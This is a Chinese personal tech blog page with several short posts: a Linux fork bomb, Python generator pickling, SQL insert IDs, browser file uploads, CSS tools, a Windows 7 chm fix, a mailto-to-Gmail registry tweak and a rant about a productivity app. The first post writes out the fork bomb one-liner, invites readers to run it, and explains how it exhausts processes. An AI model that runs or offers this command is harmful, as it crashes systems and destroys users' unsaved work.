怎样让Linux系统崩溃

试着在终端里输入:

:(){ :|:& };:

!注意:请慎重输入!因为会瞬间让机器崩溃!最好在虚拟机中试一下。

顺便解释下原理:

这行shell script使用了一种叫Fork Bomb的攻击技术,简单的说就是一个进程fork两个进程,然后二生四,四生八……直到占满系统进程和内存资源,使得其他新进程无法运行,已经在运行的进程因得不到CPU时钟和内存而变得非常缓慢以致没有响应。

下面每个符号分开来看:

:()       #定义一个名为:的函数

{         #函数体开始

:|:&    #目的是为了调用两次:函数

}         #函数体结束

:         #执行:函数

 

 

zz:Why can’t generators be pickled?

There is lots of information about this available. For the “official word” on the issue, read the (closed) Python bugtracker issue.

The core reasoning, by one of the people who made the decision, is detailed on this blog:

Since a generator is essentially a souped-up function, we would need to save its bytecode, which is not guarantee to be backward-compatible between Python’s versions, and its frame, which holds the state of the generator such as local variables, closures and the instruction pointer. And this latter is rather cumbersome to accomplish, since it basically requires to make the whole interpreter picklable. So, any support for pickling generators would require a large number of changes to CPython’s core.

Now if an object unsupported by pickle (e.g., a file handle, a socket, a database connection, etc) occurs in the local variables of a generator, then that generator could not be pickled automatically, regardless of any pickle support for generators we might implement. So in that case, you would still need to provide custom __getstate__ and __setstate__ methods. This problem renders any pickling support for generators rather limited.

And two suggested workarounds are mentioned:

Anyway, if you need for a such feature, then look into Stackless Python which does all the above. And since Stackless’s interpreter is picklable, you also get process migration for free. This means you can interrupt a tasklet (the name for Stackless’s green threads), pickle it, send the pickle to a another machine, unpickle it, resume the tasklet, and voilà you’ve just migrated a process. This is freaking cool feature!

But in my humble opinion, the best solution to this problem to the rewrite the generators as simple iterators (i.e., one with a __next__method). Iterators are easy and efficient space-wise to pickle because their state is explicit. You would still need to handle objects representing some external state explicitly however; you cannot get around this.

Original Post :  http://efreedom.com/Question/1-7180212/Generators-Pickled

 

Python获得SQL当前插入数据的ID

在Python中,insert一条数据后,如何获得该数据的id?

比较容易想到的是在insert之后执行一条 select max(id) from table。且不说这样效率低下(两条sql语句分别编译执行所需要的时间远远大于两条一起编译执行),更重要的是在多线程的情况下,无法确保得到的结果是正确的。

在SQL Server中,可以使用

insert into table1 values(colvalue1,colvalue2)

select ident_current(‘table1′)

insert into table1 values(colvalue1,colvalue2)

select @@identity

主要使用了Transact—SQL中的IDEN_CURRENT 和 @@IDENTITY, 具体解释请阅读这篇博文

在Python中,如果使用MySQLdb模块,可以调用cursor.insert_id()得到最后一条插入的数据的ID

如果使用的是sqlalchemy,在session.commit()之后,实体对象id会自动更新, 直接调用即可

 

略谈浏览器Upload File (上传文件)

最近在和中石做一个resize图片的网站,支持拖放文件,自然少不了跟上传文件打交道。一直以来对文件是怎样通过浏览器上传到server端不甚了解,这次深入了解了下,特此记录各种上传文件的方式,并说明如何结合HTML5提升体验。

HTML 表单 上传文件

Jeffrey Zhao在《模拟HTML表单上传文件(RFC 1867)》前半部分详细地讲解了HTML表单是如何POST字段以及文件的,在此不再赘述。简单地说,首先要理解Form 向服务器端POST数据的格式,然后在此基础上理解《RFC 1867 – Form-based File Upload in HTML》是如何定义实现上传文件前后端规范的。建议结合Jeffrey Zhao的文章自己动手做实验,然后用Firebug等工具查看HTTP请求的内容,加深理解.

HTML 表单 + IFRAME 实现无刷新上传文件

网上有很多号称Ajax上传文件的插件,它们是如何实现的呢?其实这和Ajax无关。

form有一个target属性,可以指定服务器返回的数据跳转到哪个页面显示,例如_blank打开新页面,_self在当前页面打开,还可以采用其他框架(frame)。这样的话,如果将target指定到一个隐藏的iframe,提交后只有iframe会刷新,就可以实现原页面无刷新上传文件了。

可以参考这一篇旧文,值得注意的是可以在服务器返回时做callback

Drag n Drop + FileReader + XMLHttpRequst 上传文件

拖放(Drag and Drop)文件网上有很多教程,可以参见Reading local files in JavaScript

值得一提的是Safari 4(以及Windows 下 Safari 5)不支持Drag and Drop API ,但是input type=’file’ 控件却支持文件拖放,因此可以使用上面的方法,只不过form是隐藏的、而且input type=’file’控件要充满整个屏幕。详解及Demo

当监听到Drop事件后,可以通过event.dataTransfer.files得到一个FileList, 可以理解为保存File对象的数组。通过遍历FileList,得到每一个File。File对象仅暴露出文件名、类型、大小、最后修改时间等信息,不能进行进一步操作。要想获得文件内容,要使用FileReader API

FileRead有一个readAsBinaryString方法,会将文件以二进制字符串的形式读入,假设存在一个名为data的变量里。还记得HTML表单提交文件时的HTTP请求么?这时候你需要用XMLHTTPRequest来构造这样一个请求。

详细代码请见这篇博文,并结合Jeffrey Zhao的博文好好理解一下。

Drag n Drop + XMLHttpRequst2上传文件

上面的方式有一个问题:Safari 5不支持FileReader(好消息是Safari 6将支持)!

这个时候我们引入XMLHttpRequest 2,它提供了更加丰富的接口和功能。例如,它可以直接send(File),而不用再借助FileReader手动读文件,还要费力构造HTTP请求。另外,它还可以send(FormData)。FormData,顾名思义,就是我们用Form提交时生成的数据,以key-value的方式 保存,这样我们就可以直接模拟提交Form表单了!而且,XMLHttpRequest 2还提供了onprogress方法,可以轻松监听上传文件进度。

附录

几篇对我帮助比较大的博文:

http://www.thebuzzmedia.com/html5-drag-and-drop-and-file-api-tutorial/

http://yiminghe.iteye.com/blog/848613

http://www.profilepicture.co.uk/tutorials/ajax-file-upload-xmlhttprequest-level-2/

 

 

Chrome下访问本地文件的问题

一句话概括:Chrome不允许本地页面加载本地文件,无论是通过Ajax还是Filereader。因此想在本地测试Chrome下ajax或filereader效果的同学还是跑个server吧(127.0.0.1即可)。

相关链接:

CSS合并与优化工具推荐

我之前为新系统写了一套新的样式,不过是叠加在系统原有CSS之上的。最近老大要求要把两个CSS文件合并,想到有那么多重复的选择器和属性,要是一个一个去调实在是太痛苦了。于是果断google,看有没有合适的工具。

于是找到了《Web-Based Tools for Optimizing, Formatting and Checking CSS》,试了其中几个,很多合并都是简单地连在一起。唯有CleanCSS可以实现选择器的合并,另外还有CSS属性简化等功能,推荐一试。

但它会引起几个小问题:

1.它貌似不认识zoom:1,会把它变为zoom:1px;

2.text-shadow:0 0 0,…会出现省略了中间的逗号,导致效果有误。

快速了解页面的大致架构

前段时间由于工作需要,要了解现有产品的样式,然后进行改版。面对一个从来没有接触过的产品,如何对它的页面构架快速建立第一印象,了解它的大致结构呢?

我一开始是用firebug慢慢看,后来觉得很累,而且不利于整体把握。于是萌发了自己开发一个bookmarklet的想法,点击一下即可显示页面中元素的Class和ID。因为一般而言,有class或id的元素都是在页面结构中比较重要的元素,这样可以快速了解页面的架构。

下面的链接就是该bookmarklet,请将它添加到收藏夹中:

!收藏我

使用方法:打开想要分析的页面,再在收藏栏中点击即可。鼠标左键单击一个tag后,左右移动来调整tag的位置(因为会有tag的重叠),调整好后再单击下就可以确定新的位置。鼠标右键在tag上单击,删除不重要的tag。

关于Windows 7下打不开chm的一种情况

前端时间从网上下了一个chm压缩包,解压后打开chm文件却弹出”文件下载”对话框,HTML帮助窗口也显示”已取消到该网页的导航”。
在网上找了各种各样的方法,大部分需要改注册表,十分麻烦。我尝试了其中一种方法,无效。
无意中找到在压缩文件中可以成功打开chm的方法,觉得很神奇,很好奇背后的原理。我一开始以为是文件夹权限问题(直接在压缩文件中打开文件会自动解压到c盘临时文件夹),后来换了几个地方,发现这个理论不成立。

后来我把原来chm外面的文件夹名字乱改了,然后居然能成功打开了!后来经本人研究发现,打不开的原因在于文件夹名字中包含”.chm”,去掉就没有问题了。
我推测原因是Microsoft在编写hh.exe(系统自带打开chm的程序)时,路径解析出了问题,只要解析到.chm就以为是chm文件,把剩余的字符忽略掉,却没想到.chm也可能出现在文件夹名字中。
所以,如果你Windows 7打不开chm文件,不妨看看它前面的文件夹名字中是不是包含”.chm”!

让网页里的mailto链接指向Gmail

在网页中,类似于超链接,点击形如“mailto:xxx@xxx.com”的链接会自动启用你系统中默认的邮件撰写程序(比如Outlook),新建一封指向目标地址的邮件。可是,现在绝大多数人都是使用WebMail,能不能让mailto链接直接指向自己的常用WebMail呢?我花了几个小时研究了下,皇天不负有心人,终于让我研究出了解决之道。

以Gmail为例。新建一个文本文件,将下面的内容复制到该文件中。保存,关闭,将该文件的后缀名改为reg。

Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOT\Gmail.URL.mailto]

[HKEY_CLASSES_ROOT\Gmail.URL.mailto\shell]

[HKEY_CLASSES_ROOT\Gmail.URL.mailto\shell\open]

[HKEY_CLASSES_ROOT\Gmail.URL.mailto\shell\open\command]

[HKEY_CLASSES_ROOT\Gmail.URL.mailto\shell\open\command]
@=”cmd /v:on /c set a=%1&set a=!a:mailto:=! &start https://mail.google.com/mail/?view=cm^&fs=1^&to=!a!^&shva=1″

[HKEY_CURRENT_USER\Software\Microsoft\Windows\Shell\Associations\UrlAssociations\MAILTO\UserChoice]
“Progid”=”Gmail.URL.mailto”

然后双击打开,一路点确定,确认正确导入后,点这个邮箱试一下,是不是直接跳转到了Gmail?

同理,如果搞清楚了其他WebMail的url规则,就可以任意设置自己常用的邮箱啦。我将在最近发布一个完整版,支持QQMail、126等,敬请期待吧!!

 

像哥这样的死忠用户你们伤不起啊

这是给一个专注GTD工具和方法的产品写的咆哮体反馈。两天后收到官方回复的邮件,他们表示很激动。其实我也很激动。:)

———————-

某次瞎逛逛到了你们网站!!!!!

于是哥踏上了不归路啊!!!!尼玛不归路啊!!!!!!!

 

几乎把网站上的每个链接都点了一遍!!!!有木有!!!!!!!

几乎每篇文章都很仔细地看了一遍!!!!还手贱到Copy到Onenote做笔记!!!!有木有!!!!!!

一边看一边肉牛满面还神经错乱到感谢上帝给我重新做人的机会!!!!!!!

仿佛哥的生活瞬间充满了阳光!!!!!尼玛的阳光!!!!!!

 

缠耳机线的非常六加一手势造型也略显犀利了吧!!!!!!!!有木有!!!!!

记密码的方式也太先进了吧!!!!!!!!还特征码!!!!尼玛的特征码!!!!!!!!!

各种解决拖延、节省时间的理论和方法让哥无言以对啊!!!!!!!!

尼玛的这人生也太积极向上了吧!!!!!!!!全是效率啊!!!!!!!

哥开始怀疑自己这20多年是不是白活了啊!!!!!!!!

是不是回炉重造比较好!!!!!!!!!!!!!!

 

看完文章决定重生然后不小心看见了效率手册!!!!!!尼玛的不小心啊!!!!

这心理战玩得也太牛B了吧!!!!!!!!

还再一次犯贱感谢了你们八辈儿祖宗啊!!!!!!

 

不过我就是贱啊!!!!!!!尼玛生来贱啊!!!!!!!

喜欢什么不好喜欢产品和交互!!!!!!有木有!!!!!!!

看到好产品就像看到自己的孩子!!!!!!!!尼玛的哥还是处男!!!!!

一点点不足也看不过眼啊!!!!!!!!!!

完美主义害shi人啊!!!!!!!有木有!!!!!!!!

 

点开论坛留言有木有啊!!!!!最新的讨论是2009年的啊!!!!!

点开官方博客日志有木有啊!!!!!写了一篇就太监了!!!!有木有!!!!

尼玛连个公共留言的地方都没有!!!!有木有!!!

哥只能委屈地将满腹牢骚撒到了某篇文章下!!!!!!!!

 

第二天再找效率手册的时候就找不到了!!!!!

导航栏里木有!!!!页脚里面也木有!!!!!

最后在首页右侧的轮换广告里看到了!!!!!尼玛的轮换广告!!!!!

这么重要的东西放轮换广告里!!!!!!!

尼玛的还把它放在页面右面!!!!!!!!!!

尼玛的有木有做设计的!!!!!!有木有懂交互的!!!!!

 

效率手册也是个坑爹的玩意儿啊!!!!!!!

Tab页选中当前页是灰色的!!!!未选中是白色的!!!!!!尼玛的白色啊!!!

尼玛见过哪个Tab页是这么做的!!!!有木有!!!!!

自古Tab页选中时与下面的页面颜色一样啊!!!!!!

哥一开始不知道误点了多少次才明白过来啊!!!!!!!

尼玛的有木有产品经理!!!!!有的话拖下去弹JJ!!!!!!

 

还有待办事项添加到今天后能不能自动删了!!!!!!!

留在那鞭尸呢!!!!!!有木有!!!!!!!!

 

还有尼玛手机版什么时候出!!!!!!!!!大家都盼着呢!!!!!!

Web没前途啊!!!!!!!!!!移动互联网才是王道啊!!!!!!!!!!!!

再晚了就渣都不给你们剩了啊!!!!!!!!有木有!!!!!!!!!!!!

 

以下省略三千字有木有!!!!!!!!!!!!

 

很好的产品被雪藏哥深有体会啊!!!!!!!!!!

你们要给力啊!!!!!有木有!!!!!!!!!!

否则怎么对得起我感天动地深情咆哮啊!!!!!!!!!!!!

像哥这样的死忠用户你们伤不起啊!!!!!!!!!!!!

————-

顺便给他们做个广告——

很实用的网站,介绍各种节约时间、提高效率的方法和理论:http://www.elcorp.com.cn/

光了解理论可不行哦,要理论与实践相结合。这是他们做的GTD工具,我现在天天在用:http://effilendar.elcorp.com.cn/

 

Page 1 of 212»